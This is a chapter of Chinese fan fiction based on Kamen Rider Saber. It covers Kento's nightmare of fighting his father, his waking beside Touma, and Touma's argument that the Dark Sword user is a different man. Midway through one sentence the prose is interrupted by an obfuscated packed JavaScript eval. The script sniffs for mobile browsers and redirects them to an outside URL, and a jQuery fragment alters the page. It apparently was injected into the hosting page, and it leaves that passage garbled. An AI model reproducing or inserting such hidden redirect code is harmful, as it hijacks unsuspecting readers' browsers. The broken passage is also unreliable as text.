当时飞羽真就在主战场的不远处,和南方基地的使者神代玲花一起观望着糟糕的战局,他俩一个没有战斗经验,一个没有武器,也只能站远点不碍事了。于是,飞羽真就看到了,仅仅只是数息间的交锋,与暗之剑士对上了的雷之剑士就受了重伤;而风之剑士和天灾倒是打得有来有回,看起来实力相当,但飞羽真总觉得两人的交手试探意味浓厚,都藏了一手,没拿出真本事来。 当时飞羽真就想,暗之剑士的实力明显比己方的增援强出了几个等级,如果对方非要一直打下去,不把火焰剑烈火和勇气之龙抢到手就不罢休的话…… 那他也只能让勇气之龙加入战斗了,让他们见识见识昔日地球霸主主动攻击的威力。 至于之后怎么解释他的精力为何恢复得如此之快? 这是他现在应该担心的事吗? 不过幸好,或许是作战时间太长了,加之,对方之前在和飞羽真、玲花两人周旋的时候,消耗也不小,才暂时撤退了。 飞羽真的叙述仍在继续。 “书之结界展开的时候,南方基地的使者刚好来书店拜访我,我们就一起被困在里面了。她告诉我说,那个暗之剑士在十五年前叛出了真理之剑……这让我想起了一件事。” “我见过那套铠甲,我见过那把剑……还有那个叫天灾的米吉多。” “我记起来了。” 说到这儿,飞羽真的语气变得极为确定以及肯定。 “那个时候,我在场。” 16. 父亲 贤人正陷落在一个噩梦之中。 他在和暗之剑士战斗。剑与剑激烈地碰撞,紫黑色的闪电与黄色的闪电绞在一起,撕裂了周围的黑暗,又一瞬被新的黑暗吞没。 他原本有一肚子的话想问,想质问他为什么叛出组织,为什么和米吉多沆瀣一气,知不知道十五年前的那场混乱害死了多少剑士,连累了多少普通人。贤人还想问,想问他这十五年到底去了哪里,想问他有没有想过自己这个儿子—— 可对方的攻击如暴风骤雨般袭来,一剑比一剑狠,一剑比一剑快,根本不给他开口的余地。那不是试探,不是较量,是真的想杀了他。 贤人能切实地感觉到,自己只要有哪怕一丝的松懈,就会被杀。 父亲他,只是沉默地挥剑,想要杀掉他。 为什么? 他想问,可他说不出话。 刀光剑影中,他看见那副邪龙盔甲的面甲。冰冷,狰狞,没有一丝缝隙。 面甲之下的那张脸,现在究竟是何种表情? ——他想知道。 贤人咬牙,看准一个转瞬即逝的空隙,猛然刺出一剑! 剑尖直取面门。 金属碎裂的脆响,邪龙盔甲的面甲被击碎一角,碎片飞溅,露出下面的—— 贤人瞪大了眼。 没有脸。 没有皮肤,没有五官,没有他十五年来无数次在梦里描摹的那张脸。 那里,什么都没有。 他能感觉到自己的心跳,咚,咚,咚,重重地击打在胸腔上。 所以……是这样的吗? 不是父亲变成了敌人,变成了叛徒,而是他根本就不存在了。那个会摸着他的后脑勺,欣喜地夸赞说“你又长高了”的人,打一开始,就不存在了。 只有这副空壳,只有这把要杀他的剑。 又一剑刺来,重重地击在了他的左肩。盔甲的防御力好歹没让这一击刺穿进来,可剧烈的冲击力还是落在了肩膀上。 贤人踉跄后退,险些摔倒。 整条左臂都麻了,不怎么疼,只是抬不起来了。 他想杀我。 这个念头又一次浮上来,清晰得刺眼。 他是真的想杀我,他不要我了,他从十五年前就不要我了,现在更是连我活着都不允许。 贤人忽然觉得有点想笑。 他这么拼命地练剑,这么拼命地想变强,这么拼命地想找到他,想问清楚——可对方只想让他死。 一个父亲,想让自己的儿子死。 那他算什么?他的存在,算什么? 月暗剑又一次劈下来,贤人抬剑格挡,意料之中地被震得单膝跪地,他抬起头,望着那副空洞的邪龙面甲。 里面什么都没有。 所以无论他问什么,都不会有答案。无论他怎么努力,都不会被看见。无论他是不是活着,对这个人来说,都没有区别。 那他还活着干什么? 突然间,贤人觉得自己的挣扎和这一身的狼狈都是活该。 没有意义。 贤人握着剑的手松了,雷鸣剑黄雷直直落下,插入了沙地里。 视界开始变暗,大概是自己闭上了眼吧? 但是…… 贤人恍然睁开了眼,意识就像是从很深很深的地方浮上来,冲破层层叠叠的水,终于接触到了空气。印入眼帘的,是有些泛黄的天花板,古铜雕花的吊灯,看着十分眼熟。 ——咦? 他愣愣地盯着那盏吊灯,脑子还是空白的。刚才那个……是梦吗?那种绝望,那种想死的念头,那种最后时刻的平静…… 都是梦? “你醒啦,贤人。” 一张脸忽然出现在他和天花板之间,那人逆着光,正低头看他,眉眼弯弯,带着笑。 “好久不见。” 那人微笑着打招呼道。 而贤人,着实愣了很久,他盯着那张脸,盯了很久很久,久到对方都有些疑惑地歪了歪头,才勉强回过神来。 ……不是梦。 这个是活的,这个是真的,这个人的声音,这个人的呼吸——就在他面前,活生生的,笑着的,正在看他的。 “……飞羽真。” 你想起我了啊。 贤人想这么说,可他只叫出了对方的名字,喉咙就不争气地罢工了,一个字都说不出来了。 “要喝点水润润喉咙吗?身体哪里还疼吗?”飞羽真把捧在手里的一本颇有分量的古风精装牛皮纸大开本书放在床头柜上,然后试着将贤人的上身扶起,在他背后塞进了好几个白色的靠枕。 “……” 直到此刻,贤人才彻底清醒了过来。 飞羽真拿来了一杯温水,在里面插了一根吸管,把吸管塞进贤人的嘴角。 “……” 贤人其实并不渴,但他也不想辜负飞羽真的好意,也只好姑且喝了一口。 “……对不起。” 飞羽真放下水杯,听贤人这么说,有些不解地问:“为什么?贤人你没有做任何对我不好的事。” “而且,关于十五年前的事,我已经向索菲亚女士,还有北方基地里的其他剑士们打听过了。和贤人完全没有任何关系啊。” 贤人只觉鼻头发酸。 是,那天发生的事和他没有任何关系。 没有人能选择自己的父亲,不是吗?父亲做下的事,与孩子何干? 这句话,贤人在他的成长道路上听到过无数次。他遇到了很好的师长,很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305124|198684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好的同伴,所有人都在这么说。等他再长大些了,所有人都默契地对那天发生的事避而不谈。 这都是他们的善意,贤人是知道的。所以,就更感愧疚,更想要把父亲找出来,问个清楚明白,然后—— 与他做个了结。 飞羽真见贤人的情绪稍定,眼中也有了光,于是也就放心下来,重新拿起床头柜上的那本大部头。 “而且,我也在查,有关那位暗之剑士的真实身份。” 贤人先是下意识地点了点头,突然,意识到了不对。 “暗之剑士的……真实身份?” 贤人有些诧异地看向飞羽真,读出了他话中的含义,这让贤人更加困惑了,甚至感到了一丝惊悚。 “难道,不是?” 那个剑士,难道,不是父亲? “至少,应该不是十五年前出现在广场上的那位暗之剑士。”飞羽真翻开手中的大书,一边翻页一边说道,“贤人你是知道我的,我的记忆力其实很好。之前是因为受到了刺激,所以暂时遗忘了一些事,但我现在都记起来了。” 没错,非得等契机出现,他才能说自己都记起来了。 “我记得,十五年前的那位剑士,他挥剑的轨迹很长,因为臂展有优势,给我的印象,他应该是个高高瘦瘦的人。” 飞羽真求证地看向贤人,而贤人立即点头,是了,他的父亲确实是又高又瘦。 “昨天的那位暗之剑士,他挥剑的幅度明显更短、更沉。虽然都是穿着盔甲,体型上看不出什么差异,但给我的印象,他的个子会矮一些,也壮实得多,因为重心可以压得很低,所以他腰部发力的动作也不少。” 说到这儿,飞羽真的语气更加笃定了。 “所以我判断,昨天的那位暗之剑士,并不是贤人你的父亲。而且……” 飞羽真犹豫了一瞬,想了想,还是说了出来。 “我怀疑,他能成为暗之剑士,被暗黑剑月暗认可,正是因为他杀死了贤人你的父亲。” ****************** 飞羽真离开了贤人的房间,一转头,就见一身白衣的索菲亚正站在走廊上,她大概已经在那里站了很久了。 “索菲亚女士。” “Saber,”索菲亚有些局促地靠近,她的那双明眸中带着复杂的情绪看向飞羽真,轻声问道:“你真的能确定……那位暗之剑士,不是贤人的父亲?” 飞羽真抿了抿唇,看向身边已经闭合的门扉。 “……应该有七成的把握。” 毕竟那是十五年前的记忆,而不是十五年前的监控录像。飞羽真也不敢把话说得太满。 “我想,这总比……告诉贤人说,他的父亲真的要杀掉他要好吧?”